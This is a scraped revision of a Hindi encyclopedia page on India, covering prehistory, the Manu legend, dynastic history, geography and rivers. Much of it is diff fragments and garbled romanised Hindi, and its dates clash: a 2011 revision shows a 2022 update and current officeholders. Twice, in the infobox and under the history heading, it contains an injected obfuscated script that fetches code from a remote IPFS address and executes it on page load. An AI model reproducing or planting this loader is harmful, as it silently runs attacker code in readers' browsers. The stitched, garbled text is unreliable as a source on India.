Difference between revisions of "भारत"
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[[भारत]] में मानवीय कार्यकलाप के जो प्राचीनतम चिह्न अब तक मिले हैं, वे 4,00,000 ई. पू. और 2,00,000 ई. पू. के बीच दूसरे और तीसरे हिम-युगों के संधिकाल के हैं और वे इस बात के साक्ष्य प्रस्तुत करते हैं कि उस समय पत्थर के उपकरण काम में लाए जाते थे। इसके पश्चात् एक लम्बे अरसे तक विकास मन्द गति से होता रहा, जिसमें अन्तिम समय में जाकर तीव्रता आई और उसकी परिणति 2300 ई. पू. के लगभग सिन्धु घाटी की आलीशान सभ्यता (अथवा नवीनतम नामकरण के अनुसार हड़प्पा संस्कृति) के रूप में हुई। [[हड़प्पा]] की पूर्ववर्ती संस्कृतियाँ हैं: [[बलूचिस्तान|बलूचिस्तानी पहाड़ियों]] के गाँवों की कुल्ली संस्कृति और [[राजस्थान]] तथा [[पंजाब]] की नदियों के किनारे बसे कुछ ग्राम-समुदायों की संस्कृति।<ref>पुस्तक 'भारत का इतिहास' रोमिला थापर) पृष्ठ संख्या-19</ref> | [[भारत]] में मानवीय कार्यकलाप के जो प्राचीनतम चिह्न अब तक मिले हैं, वे 4,00,000 ई. पू. और 2,00,000 ई. पू. के बीच दूसरे और तीसरे हिम-युगों के संधिकाल के हैं और वे इस बात के साक्ष्य प्रस्तुत करते हैं कि उस समय पत्थर के उपकरण काम में लाए जाते थे। इसके पश्चात् एक लम्बे अरसे तक विकास मन्द गति से होता रहा, जिसमें अन्तिम समय में जाकर तीव्रता आई और उसकी परिणति 2300 ई. पू. के लगभग सिन्धु घाटी की आलीशान सभ्यता (अथवा नवीनतम नामकरण के अनुसार हड़प्पा संस्कृति) के रूप में हुई। [[हड़प्पा]] की पूर्ववर्ती संस्कृतियाँ हैं: [[बलूचिस्तान|बलूचिस्तानी पहाड़ियों]] के गाँवों की कुल्ली संस्कृति और [[राजस्थान]] तथा [[पंजाब]] की नदियों के किनारे बसे कुछ ग्राम-समुदायों की संस्कृति।<ref>पुस्तक 'भारत का इतिहास' रोमिला थापर) पृष्ठ संख्या-19</ref> | ||
| − | जैविक गुणसूत्रों के प्रमाणों के आधार पर भारत में मानव का सबसे पहला प्रमाण [[केरल]] से मिला है जो सत्तर हज़ार साल पुराना होने की संभावना है। जिसका आधार [[अफ़्रीक़ा]] के प्राचीन मानव से जैविक गुणसूत्रों (जीन्स) का मिलना है। <ref>देखें: '''शोध ग्रंथ''' {{cite book |last=वेल्स|first=स्पेन्सर|url =http://books.google.ca/books?id=WAsKm-_zu5sC&lpg=PP1&dq=The%20Journey%20of%20Man&pg=PP1#v=onepage&q&f=true |title=अ जेनेटिक ओडिसी|year=2002|publisher=प्रिन्सटन यूनिवर्सिटी प्रॅस, न्यू जर्सी, सं.रा.अमरीका|language=[[अंग्रेज़ी भाषा|अंग्रेज़ी]]||id=ISBN 0-691-11532-X}} </ref> यह काल वह है जब अफ़्रीक़ा से आदि मानव ने विश्व के अनेक हिस्सों में बसना प्रारम्भ किया जो पचास से सत्तर हज़ार साल पहले का माना जाता है। कृषि संबंधी प्रथम साक्ष्य [[राजस्थान]] (साम्भर) में पौधे बोने का है जो ईसा से सात हज़ार वर्ष पुराना है। भारत का इतिहास प्रागैतिहासिक काल से आरम्भ होता है। 3000 ई. पूर्व तथा 1500 ई. पूर्व के बीच [[सिंधु घाटी]] में एक उन्नत सभ्यता वर्तमान थी, जिसके अवशेष [[मोहन जोदड़ो]] (मुअन-जो-दाड़ो) और [[हड़प्पा]] में मिले हैं। विश्वास किया जाता है कि भारत में [[आर्य|आर्यों]] का प्रवेश बाद में हुआ। [[वेद|वेदों]] में हमें उस काल की सभ्यता की एक झाँकी मिलती है। | + | जैविक गुणसूत्रों के प्रमाणों के आधार पर भारत में मानव का सबसे पहला प्रमाण [[केरल]] से मिला है जो सत्तर हज़ार साल पुराना होने की संभावना है। जिसका आधार [[अफ़्रीका महाद्वीप|अफ़्रीक़ा]] के प्राचीन मानव से जैविक गुणसूत्रों (जीन्स) का मिलना है। <ref>देखें: '''शोध ग्रंथ''' {{cite book |last=वेल्स|first=स्पेन्सर|url =http://books.google.ca/books?id=WAsKm-_zu5sC&lpg=PP1&dq=The%20Journey%20of%20Man&pg=PP1#v=onepage&q&f=true |title=अ जेनेटिक ओडिसी|year=2002|publisher=प्रिन्सटन यूनिवर्सिटी प्रॅस, न्यू जर्सी, सं.रा.अमरीका|language=[[अंग्रेज़ी भाषा|अंग्रेज़ी]]||id=ISBN 0-691-11532-X}} </ref> यह काल वह है जब अफ़्रीक़ा से आदि मानव ने विश्व के अनेक हिस्सों में बसना प्रारम्भ किया जो पचास से सत्तर हज़ार साल पहले का माना जाता है। कृषि संबंधी प्रथम साक्ष्य [[राजस्थान]] (साम्भर) में पौधे बोने का है जो ईसा से सात हज़ार वर्ष पुराना है। भारत का इतिहास प्रागैतिहासिक काल से आरम्भ होता है। 3000 ई. पूर्व तथा 1500 ई. पूर्व के बीच [[सिंधु घाटी]] में एक उन्नत सभ्यता वर्तमान थी, जिसके अवशेष [[मोहन जोदड़ो]] (मुअन-जो-दाड़ो) और [[हड़प्पा]] में मिले हैं। विश्वास किया जाता है कि भारत में [[आर्य|आर्यों]] का प्रवेश बाद में हुआ। [[वेद|वेदों]] में हमें उस काल की सभ्यता की एक झाँकी मिलती है। |
कभी यह मान्यता थी, कि भारत के प्रथम राजा मनु [[स्वयंभुव मनु|स्वंयभू]] थे। मनु का जन्म सीधे [[ब्रह्मा]] से हुआ था और वह अर्ध-नारीश्वर थे। उनके नारीमय आधे शरीर से दो पुत्रों और तीन पुत्रियों का जन्म हुआ, जिनसे मनुओं की वंश-परम्परा चली। उनमें से एक का नाम पृथु था, जिनका पृथ्वी के प्रथम नरेश के रूप में अभिषेक हुआ। उन्हीं के नाम पर भूमि का नाम पृथ्वी पड़ा। उन्होंने वनों को साफ कराया, खेती कराई और पशुपालन, वाणिज्य तथा एक सुस्थापित जीवन से सम्बद्ध अन्य कार्यों का सूत्रपात किया। लेकिन दसवें मनु सबसे अधिक प्रसिद्ध हुए। उन्हीं के शासन काल में वह महाप्रलय हुई, जिसमें सब-कुछ डूब गया था और केवल मनु जीवित बचे थे। [[विष्णु]] ने मनु को इस बाढ़ के सम्बन्ध में पहले ही चेतावनी दे दी थी, इसलिए मनु ने अपने परिवार और सप्तऋषियों को बचा ले जाने के लिए एक नाव बना ली थी। विष्णु ने एक बड़ी [[मछली]] का रूप धारण किया, जिससे वह नौका बाँध दी गई। मछली जल-प्रवाह में तैरती हुई नौका को एक पर्वतशिखर तक ले गई। यहाँ पर मनु, उनका परिवार और सप्तऋषि प्रलय की समाप्ति तक रहे, और पानी कम होने पर सुरक्षित रूप से पृथ्वी पर लौट आए। इस महाप्रलय से बचने वाले मनु और उनके परिवार से मनुष्य जाति की उत्पत्ति हुई। मनु के नौ पुत्र थे, जिनमें से सबसे बड़ा पुत्र अर्ध-नारीश्वर था। इसलिए उसके दो नाम थे-इल और [[इला]]। इस पुत्र से राजपरिवार की दो मुख्य शाखाओं का जन्म हुआ, इल से '[[सूर्यवंश]]' और इला से '[[चन्द्रवंश]]' का।<ref>पुस्तक 'भारत का इतिहास' रोमिला थापर) पृष्ठ संख्या-23</ref> | कभी यह मान्यता थी, कि भारत के प्रथम राजा मनु [[स्वयंभुव मनु|स्वंयभू]] थे। मनु का जन्म सीधे [[ब्रह्मा]] से हुआ था और वह अर्ध-नारीश्वर थे। उनके नारीमय आधे शरीर से दो पुत्रों और तीन पुत्रियों का जन्म हुआ, जिनसे मनुओं की वंश-परम्परा चली। उनमें से एक का नाम पृथु था, जिनका पृथ्वी के प्रथम नरेश के रूप में अभिषेक हुआ। उन्हीं के नाम पर भूमि का नाम पृथ्वी पड़ा। उन्होंने वनों को साफ कराया, खेती कराई और पशुपालन, वाणिज्य तथा एक सुस्थापित जीवन से सम्बद्ध अन्य कार्यों का सूत्रपात किया। लेकिन दसवें मनु सबसे अधिक प्रसिद्ध हुए। उन्हीं के शासन काल में वह महाप्रलय हुई, जिसमें सब-कुछ डूब गया था और केवल मनु जीवित बचे थे। [[विष्णु]] ने मनु को इस बाढ़ के सम्बन्ध में पहले ही चेतावनी दे दी थी, इसलिए मनु ने अपने परिवार और सप्तऋषियों को बचा ले जाने के लिए एक नाव बना ली थी। विष्णु ने एक बड़ी [[मछली]] का रूप धारण किया, जिससे वह नौका बाँध दी गई। मछली जल-प्रवाह में तैरती हुई नौका को एक पर्वतशिखर तक ले गई। यहाँ पर मनु, उनका परिवार और सप्तऋषि प्रलय की समाप्ति तक रहे, और पानी कम होने पर सुरक्षित रूप से पृथ्वी पर लौट आए। इस महाप्रलय से बचने वाले मनु और उनके परिवार से मनुष्य जाति की उत्पत्ति हुई। मनु के नौ पुत्र थे, जिनमें से सबसे बड़ा पुत्र अर्ध-नारीश्वर था। इसलिए उसके दो नाम थे-इल और [[इला]]। इस पुत्र से राजपरिवार की दो मुख्य शाखाओं का जन्म हुआ, इल से '[[सूर्यवंश]]' और इला से '[[चन्द्रवंश]]' का।<ref>पुस्तक 'भारत का इतिहास' रोमिला थापर) पृष्ठ संख्या-23</ref> | ||
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{{इतिहास तिथि क्रम सूची1}} | {{इतिहास तिथि क्रम सूची1}} | ||
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==भौतिक विशेषताएँ== | ==भौतिक विशेषताएँ== | ||
{{भारत पृष्ठ भूगोल}} | {{भारत पृष्ठ भूगोल}} | ||
Revision as of 08:28, 29 August 2011
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| rashtravaky: "satyamev jayate" (sanskrit) saty hi vijayi hota hai[1] | |||||
| rashtragan: jan gan man | |||||
 | |||||
| rajadhani | nee dilli 28° 34′ N 77° 12′ E | ||||
| sabase b de nagar | dilli, mumbee, kolakata aur chennee | ||||
| rajabhasha(ean) | hindi sangh ki rajabhasha hai, aangrezi "sahayak rajabhasha" hai. | ||||
| any bhashaean | baangla, gujarati, kann d, malayalam, marathi aur any | ||||
| sarakar prakar | ganarajy draupadi murmoo veankaiya nayadoo om bi dala narendr modi di. vaee. chandrachoo d | ||||
| vidhayika -upari sadan
-nichala sadan |
bharatiy sansad rajy sabha lok sabha | ||||
| svatantrata tithi ganarajy |
sanyukt rajashahi se 15 agast, 1947 26 janavari, 1950 | ||||
| kshetraphal - kul - jaliy (%) |
32,87,263 kimi² (satavaan) 12,22,559 mil² 9.56 | ||||
| janasankhya - 2011 - 2001 janaganana - janasankhya ghanatv |
1,21,01,93,422[2] (dvitiy) 1,02,70,15,248 382[2]/kimi² (27 vaan) 954[3]/ mil² | ||||
| sakal ghareloo utpad (pipipi) - kul - prativyakti |
2012 anuman $4,824 arab[4] $3,944[4] | ||||
| sakal ghareloo utpad (saanketik) - kul - prativyakti |
2012 anuman $1,779 arab[4] $1,454[4] | ||||
| manav vikas sanketaank (echadiaee) | 0.547 (134 vian) – madhyam | ||||
| mudra | bharatiy rupaya 14px (aienar (INR))
| ||||
| samay mandal - grishm rritu (delait seviang taim) |
aiesati (IST) (UTC+5:30) anusaran nahian kiya jata (UTC+5:30) | ||||
| iantaranet tieladi | .in | ||||
| vahan chalate haian | baean | ||||
| doorabhash kod | ++91
| ||||
any mahatvapoorn janakari
| |||||
| simaoan mean sthit desh | uttar pashchim mean afaganistan aur pakistan, uttar mean bhootan aur nepal; poorab mean myaanmar, baangladesh. shrilanka bharat se samudr ke sankirn nahar dvara alag kiya jata hai jo palk stret aur mannar ki kha di dvara nirmit hai. | ||||
| samudr tat | 7,516.6 kilomitar jisamean mukhy bhoomi, lakshadvip aur andaman aur nikobar dvipasamooh shamil haian. | ||||
| jalavayu | sardi (disambar-faravari); garmi (march-joon); dakshin pashchim manasoon ka mausam (joon-sitambar); manasoon pashch mausam (aktoobar-navambar) | ||||
| bhoo-bhag | mukhy bhoomi mean char kshetr haian- gret maunten jon, ganga aur siandhu ka maidan, registan kshetr aur dakshini peniansula. | ||||
| prakritik sansadhan | koyala, lauh ayask, maiganij ayask, maika, b aauksait, petroliyam, taitaniyam ayask, kromait, prakritik gais, maiganesait, choona patthar, arabal lend, dolomait, maoolin, jipsam, apadait, phosaphorait, stitail, phlorait adi. | ||||
| prakritik apada | manasooni badh, phlesh badh, bhookamp, sookha, zamin khisakana. | ||||
| janasankhya vriddhi dar | ausat varshik ghataanki vriddhi dar varsh 2001-2011 ke dauran 1.64 pratishat hai. | ||||
| liang anupat | 1000:940 (2011) | ||||
| dharm | varsh 2001 ki janaganana ke anusar 1,028 miliyan desh ki kul janasankhya mean se 80.5 pratishat ke sath hinduoan ki adhikaanshata hai doosare sthan par 13.4 pratishat ki janasankhya vale muslim isake bad eesaee, sikh, bauddh, jain aur any ate haian. | ||||
| saksharata | 74.04% (2011) purush- 82.14% mahilaean- 65.46% | ||||
| sambhavit jivan dar | 65.8 varsh (purush); 68.1 varsh (mahila)[5] | ||||
| jatiy anupat | sabhi paanch mukhy prakar ki jatiyaan- aaustreliyad, moangol aauyad, yoorop aauyad, kokosin aur nigroid. | ||||
| karyapalika shakha | bharat ka rashtrapati desh ka pradhan hota hai, jabaki pradhanamantri sarakar ka pramukh hota hai aur mantriparishadh ki sahayata se shasan chalata hai jo mantrimandal mantralay ka gathan karate haian. | ||||
| nyayapalika shakha | bharat ka sarvochch nyayalay bharatiy kanoon vyavastha ka shirsh nikay hai isake bad any uchch nyayalay aur adhinasth nyayalay ate haian. | ||||
| any janakari | bharat ka rashtriy dhvaj ayatakar tiranga hai jisamean kesariya oopar hai, bich mean safed, aur barabar bhag mean niche gahara hara hai. safed patti ke kendr mean gahara nila chakr hai jo saranath mean ashok chakr ko darshata hai. | ||||
| bahari k diyaan | bharat ki adhikarik vebasait | ||||
| adyatan | 13:23, 11 navambar 2022 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
| ||||
bharat duniyaan ki sabase purani sabhhyataoan mean se ek hai, jo 4,000 se adhik varshoan se chali a rahi hai aur jisane anek riti-rivazoan aur paramhparaoan ka sangam dekha hai. yah desh ki samriddh sanshkriti aur virasat ka parichayak hai. azadi ke bad 62 varshoan mean bharat ne samajik aur arthik pragati ki hai. bharat krishi mean athmanirbhar desh hai aur audyogikaran mean bhi vishv ke chune hue deshoan mean bhi isaki ginati ki jati hai. yah un deshoan mean se ek hai, jo chaand par pahuanch chuke haian aur paramanu shakti sanpann haian. bharat ka kul kshetraphal 32,87,263 varg ki.mi. hai, jo himachhchhadit himalay ki bulandiyoan se dakshin ke vishuvatiy varsha vanoan tak vistrit hai. kshetraphal mean vishhv ka satavaan b da desh hone ke karan bharat eshiya mahadvip mean alag dikhayi deta hai. isaki sarahadean himalay parvat aur samudroan ne baandhi hai, jo ise ek vishishht bhaugolik pahachan dete haian. uttar mean brihath himalay ki parvat shrriankhala se ghira yah desh kark rekha se age sankara hota chala jata hai. poorv mean bangal ki kha di, pashchim mean arab sagar tatha dakshin mean hind mahasagar isaki simaoan ka nirdharan karate haian.
uthtari golardh mean sthit bharat ki mukhhyabhoomi 8 digri 4 minat aur 37 digri 6 minat uthtari akshaansh aur 68 digri 7 minat tatha 97 digri 25 minat poorvi deshanhtar ke bich sthit hai . uthtar se dakshin tak isaki adhikatam lanbaee 3,214 ki.mi. aur poorv se pashchim tak adhikatam chau daee 2,933 ki.mi. hai. isaki zamini simaoan ki lanbaee lagabhag 15,200 ki.mi. aur tatarekha ki kul lamhbaee 7,516.6 ki.mi hai. yah uthtar mean himalay parvat, poorv mean bangal ki kha di, pashchim mean arab sagar tatha dakshin mean hiand mahasagar se ghira hua hai. [[chitr:Ashok-map.jpg|thumb|150px|left|ashok ke samrajy ki sima ka manachitr]] bharat eshiya mahadvip ke dakshini bhag mean sthit tin prayadvipoan mean madhyavarti aur sabase b da prayadvip hai. yah tribhujakar hai. himalay parvat shrriankhala ko is tribhuj ka adhar aur kanyakumari ko usaka shirshabindu kaha ja sakata hai. isake uttar mean himalay tatha dakshin mean hind mahasagar sthit hai. ooanche-ooanche parvatoan ne ise uttar-pashchim mean afaganistan aur pakistan tatha uttar-poorv mean myaanmar se alag kar diya hai. yah svatantr bhaugolik ikaee hai. prakritik drishti se ise tin kshetroan mean vibhakt kiya ja sakata hai—himalay kshetr, uttar ka maidan jisase hokar siandhu, ganga aur brahmaputr nadiyaan bahati haian, dakshin ka pathar, jise viandhy parvatamala uttar ke maidan se alag karati hai. bharat ki vishal janasankhya sat sau pachas se adhik [6] boliyaan bolati hai aur sansar ke sabhi mukhy dharmoan ko manane vale yahaan milate haian. aangrezi mean bharat ka nam 'iandiya' siandhu ke farasi roopaantaran ke adhar par yoonaniyoan ke dvara prachalit 'handas' nam se p da. sindhu ka farasi mean hind, hand ya hindoo hua. hind ka yoonaniyoan ne indas kiya jo bad mean 'iandiya' ho gaya. sindhu nadi ko aangezi mean aj bhi 'indas' hi kahate haian. mool roop se is desh ka nam pragaitihasik kal ke raja bharat[7] ke adhar par bharatavarsh hai kintu adhikarik nam 'bharat' hi hai. ab isaka kshetraphal sankuchit ho gaya hai aur is prayadvip ke do chhote-chhote kshetroan pakistan tatha baangladesh ko isase prithak karake shesh bhoo-bhag ko bharat kahate haian. 'hindusthan' nam sahi taur se keval ganga ke uttari maidan ke lie prayukt kiya ja sakata hai jahaan hindi boli jati hai. ise bharat athava iandiya ka paryay nahian mana ja sakata. left|thumb|120px|sindhu ghati prachin bharatiy sahity ki ek mahattvapoorn visheshata yah hai ki usamean pratibimbit janajivan mean bhaugolik chetana ka poorn roop se sannivesh hai. isaka ekamatr karan yahi ho sakata hai ki hamare poorvapurush apane vishal desh ke pratyek bhag se bhali prakar parichit the tatha unako bharat ke bahar ke sansar ka bhi vistrit jnan tha. valmiki ramayan, mahabharat, puranadi granthoan tatha kalidas adi mahakaviyoan ki rachanaoan mean prapt bhaugolik samagri ki vipulata is bat ki sakshi hai. vastav mean prachin bharatiy sabhyata aur sanskriti ekata ke jin sudridh sootroan mean nibaddh thi. unamean se ek sootr bharatiyoan ki vyapak bhaugolik bhavana bhi thi jisake dvara sare bharat ke vibhinn sthan - parvat, van, nadi-nad, sarovar, nagar aur gram unake saanskritik evan dharmik jivan ka abhinn aang hi ban ge the. valmiki, vyas aur kalidas ke lie himalay se kanyakumari aur siandhu se kamaroop tak bharat ka koee kona aparichit ya ajanabi nahian tha. pratyek bhoo-bhag ke nivasi, unaka rahan - sahan vahaan ke jiv -jantu ya vanaspatiyaan aur vishisht drishyavali - ye sabhi tathy in mahakaviyoan aur manishiyoan ke lie apane hi aur apane ghar ke saman hi priy evan parichit haian. valmiki ramayan ke kishkiandhakand, mahabharat ke vanaparv aur kalidas ke meghadoot aur raghuvansh ke chaturth evan trayodash sargoan ke adhyayan se uparyukt dharana ki pushti hoti hai. itane prachin kal mean jab bharat mean yatayat ki suvidhaean apekshakrit bahut kam thian. bharatiyoan ki svadesh vishayak bhaugolik ekata ki bhavana ko jagae rakhane mean in rashtriy evan lokapriy kaviganoan ne jo mahattvapoorn yog diya tha usaka mooly aankana bhi hamare lie aj sambhav nahian hai.
bharat ki adharabhoot ekata usaki vishisht sanskriti tatha sabhyata par adharit hai. yah is bat se prakat hai ki hindoo dharm sare desh mean phaila hua hai. sanskrit ko sab devabhasha svikar karate haian. jin sat nadiyoan ko pavitr mana jata hai unamean siandhu panjab mean bahati hai aur kaveri dakshin mean, isi prakar jin sat puriyoan ko pavitr mana jata hai unamean haridvar uttar pradesh mean sthit hai aur kaanchi sudoor dakshin mean. bharat ke sabhi rajaoan ki akaanksha rahi hai ki unake rajy ka vistar asetu himalay ho. parantu itane b de desh ko jo vastav mean ek upamahadvip hai aur kshetraphal mean pashchimi roos ko chho dakar sare yoorop ke barabar hai, ek rajanitik ikaee banaye rakhana atyant kathin tha. vastav mean unnisavian shatabdi ke madhy mean british shasakoan ki sthapana se poorv sara desh bahut tho de kal ko chho dakar, kabhi ek samrajy ke aantargat nahian raha. british kal mean sare desh mean ek saman shasan vyavastha karake tatha aangrezoan ko sare desh mean prashasan aur shiksha ki saman bhasha banakar poore desh ko ek rajanitik ikaee bana diya gaya. parantu yah ekata ek shatabdi ke andar hi bhang ho gayi. 1947 ee. mean jab bharat svadhin hua, use vibhajit karake siandhu, uttar pashchimi simaprant, pashchimi panjab (yah bhag ab pakistan kahalata hai), poorvi tatha uttari bangal (yah bhag ab baangladesh kahalata hai) usase alag kar diya gaya.
itihas
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
[[chitr:Dancing-girl-mohenjo-daro.jpg|thumb|left|100px|nrityaangana mohanajoda do 2500 ee.poo.]] bharat mean manaviy karyakalap ke jo prachinatam chihn ab tak mile haian, ve 4,00,000 ee. poo. aur 2,00,000 ee. poo. ke bich doosare aur tisare him-yugoan ke sandhikal ke haian aur ve is bat ke sakshy prastut karate haian ki us samay patthar ke upakaran kam mean lae jate the. isake pashchath ek lambe arase tak vikas mand gati se hota raha, jisamean antim samay mean jakar tivrata aee aur usaki parinati 2300 ee. poo. ke lagabhag sindhu ghati ki alishan sabhyata (athava navinatam namakaran ke anusar h dappa sanskriti) ke roop mean huee. h dappa ki poorvavarti sanskritiyaan haian: baloochistani paha diyoan ke gaanvoan ki kulli sanskriti aur rajasthan tatha panjab ki nadiyoan ke kinare base kuchh gram-samudayoan ki sanskriti.[8]
jaivik gunasootroan ke pramanoan ke adhar par bharat mean manav ka sabase pahala praman keral se mila hai jo sattar hazar sal purana hone ki sanbhavana hai. jisaka adhar afriqa ke prachin manav se jaivik gunasootroan (jins) ka milana hai. [9] yah kal vah hai jab afriqa se adi manav ne vishv ke anek hissoan mean basana prarambh kiya jo pachas se sattar hazar sal pahale ka mana jata hai. krishi sanbandhi pratham sakshy rajasthan (sambhar) mean paudhe bone ka hai jo eesa se sat hazar varsh purana hai. bharat ka itihas pragaitihasik kal se arambh hota hai. 3000 ee. poorv tatha 1500 ee. poorv ke bich siandhu ghati mean ek unnat sabhyata vartaman thi, jisake avashesh mohan jod do (muan-jo-da do) aur h dappa mean mile haian. vishvas kiya jata hai ki bharat mean aryoan ka pravesh bad mean hua. vedoan mean hamean us kal ki sabhyata ki ek jhaanki milati hai.
kabhi yah manyata thi, ki bharat ke pratham raja manu svanyabhoo the. manu ka janm sidhe brahma se hua tha aur vah ardh-narishvar the. unake narimay adhe sharir se do putroan aur tin putriyoan ka janm hua, jinase manuoan ki vansh-parampara chali. unamean se ek ka nam prithu tha, jinaka prithvi ke pratham naresh ke roop mean abhishek hua. unhian ke nam par bhoomi ka nam prithvi p da. unhoanne vanoan ko saph karaya, kheti karaee aur pashupalan, vanijy tatha ek susthapit jivan se sambaddh any karyoan ka sootrapat kiya. lekin dasavean manu sabase adhik prasiddh hue. unhian ke shasan kal mean vah mahapralay huee, jisamean sab-kuchh doob gaya tha aur keval manu jivit bache the. vishnu ne manu ko is badh ke sambandh mean pahale hi chetavani de di thi, isalie manu ne apane parivar aur saptrrishiyoan ko bacha le jane ke lie ek nav bana li thi. vishnu ne ek b di machhali ka roop dharan kiya, jisase vah nauka baandh di gee. machhali jal-pravah mean tairati huee nauka ko ek parvatashikhar tak le gee. yahaan par manu, unaka parivar aur saptrrishi pralay ki samapti tak rahe, aur pani kam hone par surakshit roop se prithvi par laut ae. is mahapralay se bachane vale manu aur unake parivar se manushy jati ki utpatti huee. manu ke nau putr the, jinamean se sabase b da putr ardh-narishvar tha. isalie usake do nam the-il aur ila. is putr se rajaparivar ki do mukhy shakhaoan ka janm hua, il se 'sooryavansh' aur ila se 'chandravansh' ka.[10]
prachin bharatiyoan ne koee tithi kramanusar itihas nahian surakshit rakha hai. sabase prachin sunishchit tithi jo hamean jnat hai, 326 ee. poo. hai, jab maqadooniya ke raja sikandar ne bharat par akraman kiya. is tithi se pahale ki ghatanaoan ka taratamy jo d kar tatha sahity mean surakshit aitihasik anushrutiyoan ka upayog karake bharat ka itihas satavian shatabdi ee. poo. tak pahuanch jata hai. is kal mean bharat qabul ki ghati se lekar godavari tak shodash janapadoan mean vibhajit tha.
maury (tisari shatabdi ee.poo.), shuang (pratham shatabdi ee.poo.), shak (pratham shatabdi), kushan (dvitiy shatabdi), gupt (chauthi shatabdi) aur rajapoot (nauvian shatabdi) jab uttari bharat mean shasan kar rahe the tab dakshin mean satavahan, chaluky, chol adi ka daur chal raha tha. usake bad mean muslim akraman kari aye aur bharat mean shasan karane lage. jinamean gulam vansh, khilaji, tugalaq, lodi aur mugaloan ka shasan raha. solah-satrahavian shati se 1947 eesavi tak purtagali, fraansisi aur aangrez yahaan shasan karate rahe. 15 agast, 1947 ko bharat svatantr hua.
| kram | tithi kram | vivaran |
|---|
bhautik visheshataean
aank de ek jhalak
mukhhy bhoobhag mean char kshetr haian, namat: mahaparvat kshetr, ganga aur siandhu nadi ke maidani kshetr aur marooshthali kshetr aur dakshini prayadvip.
himalay ki tin shrriankhalaean haian, jo lagabhag samanaantar phaili huee haian. isake bich b de - b de pathar aur ghatiyaan haian, inamean kashmir aur kulhloo jaisi kuchh ghatiyaan upajaoo, vishtrit aur prakritik sauandary se bharapoor haian. sansar ki sabase ooanchi chotiyoan mean se kuchh inhhian parvat shrriankhalaoan mean haian. adhik ooanchaee ke karan ana -jana keval kuchh hi darroan se ho pata hai, jinamean mukhhy haian -
- chuanbi ghati se hote hue mukhhy bharat-tibhbat vhyapar marg par jelap la aur nathoo-la darre
- uttar-poorv darjiliang
- kalhpana (kinhnaur) ke uttar - poorv mean sataluj ghati mean shipaki la darra
parvatiy divar lagabhag 2,400 ki.mi. ki doori tak phaili hai, jo 240 ki.mi. se 320 ki.mi. tak chau di hai. poorv mean bharat tatha myaanmar aur bharat evan baangladesh ke bich mean paha di shrriankhalaoan ki ooanchaee bahut kam hai. lagabhag poorv se pashchim tak phaili huee garo, khasi, jaiantiya aur naga pahadiyaan uttar se dakshin tak phaili mizo tatha rakhain pahadiyoan ki shrriankhala se ja milati haian.
marushthali kshetr ko do bhagoan mean baanta ja sakata hai b da marushthal kachhchh ke ran ki sima se luni nadi ke uthtari or age tak phaila hua hai. rajasthan siandh ki poori sima isase hokar gujarati hai. chhota marushthal luni se jaisalamer aur jodhapur ke bich uthtari bhoobhag tak phaila hua b de aur chhote marushthal ke bich ka kshetr bilhkul hi banjar hai jisamean choone ke paththar ki parvat mala dvara prithak kiya hua patharila bhoobhag hai.
parvat samooh aur paha di shrriankhalaean jinaki ooanchaee 460 se 1,220 mitar hai, prayadvipiy pathar ko ganga aur siandhu ke maidani kshetroan se alag karati haian. inamean pramukh haian aravali, viandhhy, satapu da, maikala aur ajanhta. is prayadvip ki ek or poorv ghat doosari or pashchimi ghat hai jinaki ooanchaee samanhyat: 915 se 1,220 mitar hai, kuchh shthanoan mean 2,440 mitar se adhik ooanchaee hai. pashchimi ghatoan aur arab sagar ke bich ek sankirn tatavarti patti hai jabaki poorv ghat aur bangal ki kha di ke bich ka vishtrit tatavarti kshetr hai. pathar ka dakshini bhag nilagiri paha diyoan dvara nirmit hai jahaan poorvi aur pashchimi ghat milate haian. isake age ilayachi ki pahadiyaan pashchimi ghat ke vishtaran ke rup mean mani ja sakati haian.
bhoogarbhiy sanrachana
- REDIRECTsaancha:mukhy
bhoovaijnanik kshetr vhyapak rup se bhautik visheshataoan ka palan karate haian aur inhhean tin kshetroan ke samooh mean rakha ja sakata hai:
- himachal parvat shrriankhala aur unake sanbaddh parvat samooh
- bharat-ganga maidan kshetr
- prayadvipiy ot
uthtar mean himachalay parvat kshetr aur poorv mean nagalushaee parvat, parvat nirman gatividhi ke kshetr hai. is kshetr ka adhikaansh bhag jo vartaman samay mean vishhv ka sarvadhik suandar parvat drishhy prashtut karata hai, 60 karo d varsh pahale samudri kshetr mean tha. 7 karo d varsh pahale shuroo hue parvat-nirman gatividhiyoan ki shrriankhala mean talachhatean aur adhar chattanean kafi ooanchaee tak pahuanch gee. aj ham jo in par ubhar dekhate haian, unako uthpanhn karane mean apakshay aur aparadak ne kary kiya. bharat-ganga ke maidani kshetr ek jalodh bhoobhag haian jo dakshin ke prayadvip se uthtar mean himachal ko alag karate haian.
prayadvip sapeksh sthirata aur kabhi-kabhar bhookanpiy pareshaniyoan ka kshetr hai. 380 karo d varsh pahale ke praranbhik kal ki athyadhik kayaantarit chattanean is kshetr mean payi jati haian, baqi kshetr goandavana ke tatavarti kshetr se ghira hai, dakshin mean sidhidar rachana aur chhoti talachhatean lava ke pravah se nirmit haian.
nadiyaan
| prachin nam | adhunik nam |
|---|
- REDIRECTsaancha:mukhy
bharat ki nadiyoan ko char samoohoan mean vargikrit kiya ja sakata hai jaise :-
- himachal se nikalane vali nadiyaan
- dakshin se nikalane vali nadiyaan
- tatavarti nadiyaan
- aantardeshiy naloan se droni kshetr ki nadiyaan
